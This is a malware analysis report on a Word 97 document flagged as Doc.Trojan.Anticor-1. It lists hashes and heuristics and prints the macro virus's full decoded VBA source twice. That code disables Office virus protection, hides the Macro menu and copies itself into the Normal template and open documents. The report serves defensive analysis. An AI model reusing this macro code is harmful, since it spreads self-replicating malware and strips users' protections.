Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b4bd7ee7a607046…

MALICIOUS

Office (OLE)

37.0 KB Created: 2005-02-15 13:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-09-20
MD5: c1e47e610b10191086d41ee55bee9898 SHA-1: 8887736ff62bed3a805b57eed95d34e97131df74 SHA-256: 1b4bd7ee7a6070465e0b9d59e6b68d7d6cb6e5c3c49bf33d1925bc6b06d5aa6a
200 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Anticor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Anticor-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2405 bytes
SHA-256: df3fdfea1a494e39b5e1de6984ad93797f48f9016fc3e5a6faad0f3689c7f28e
Detection
ClamAV: Doc.Trojan.Anticor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
End

Private Sub Document_Close()
On Error Resume Next
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
If System.ProfileString("HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") <> "AntiCor" Then
GoTo SaberI
End If
SaberI:
ThisDocument.VBProject.VBComponents(1).Export ("c:\dos300.dll")
If CommandBars("Tools").Controls("Macro").Visible = True Then
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
Set x = NormalTemplate.VBProject
Set x2 = x.VBComponents(1).CodeModule
End If
Set y = ActiveDocument.VBProject
Set y2 = y.VBComponents(1).CodeModule
CommandBars("Tools").Controls("Macro").Visible = False
Set alin = y2.CountOfLines
Set nlin = x2.CountOfLines
If nlin < this.CountOfLines Then
 x2.AddFromFile ("c:\dos300.dll")
 x2.deletelines 1, 4
Else
If alin < this.CountOfLines Then
y2.AddFromFile ("c:\dos300.dll")
y2.deletelines 1, 4
End If
End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") = "AntiCor"
End Sub

Private Sub Document_Close()
On Error Resume Next
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
If System.ProfileString("HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") <> "AntiCor" Then
GoTo SaberI
End If
SaberI:
ThisDocument.VBProject.VBComponents(1).Export ("c:\dos300.dll")
If CommandBars("Tools").Controls("Macro").Visible = True Then
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
Set x = NormalTemplate.VBProject
Set x2 = x.VBComponents(1).CodeModule
End If
Set y = ActiveDocument.VBProject
Set y2 = y.VBComponents(1).CodeModule
CommandBars("Tools").Controls("Macro").Visible = False
Set alin = y2.CountOfLines
Set nlin = x2.CountOfLines
If nlin < this.CountOfLines Then
 x2.AddFromFile ("c:\dos300.dll")
 x2.deletelines 1, 4
Else
If alin < this.CountOfLines Then
y2.AddFromFile ("c:\dos300.dll")
y2.deletelines 1, 4
End If
End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") = "AntiCor"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.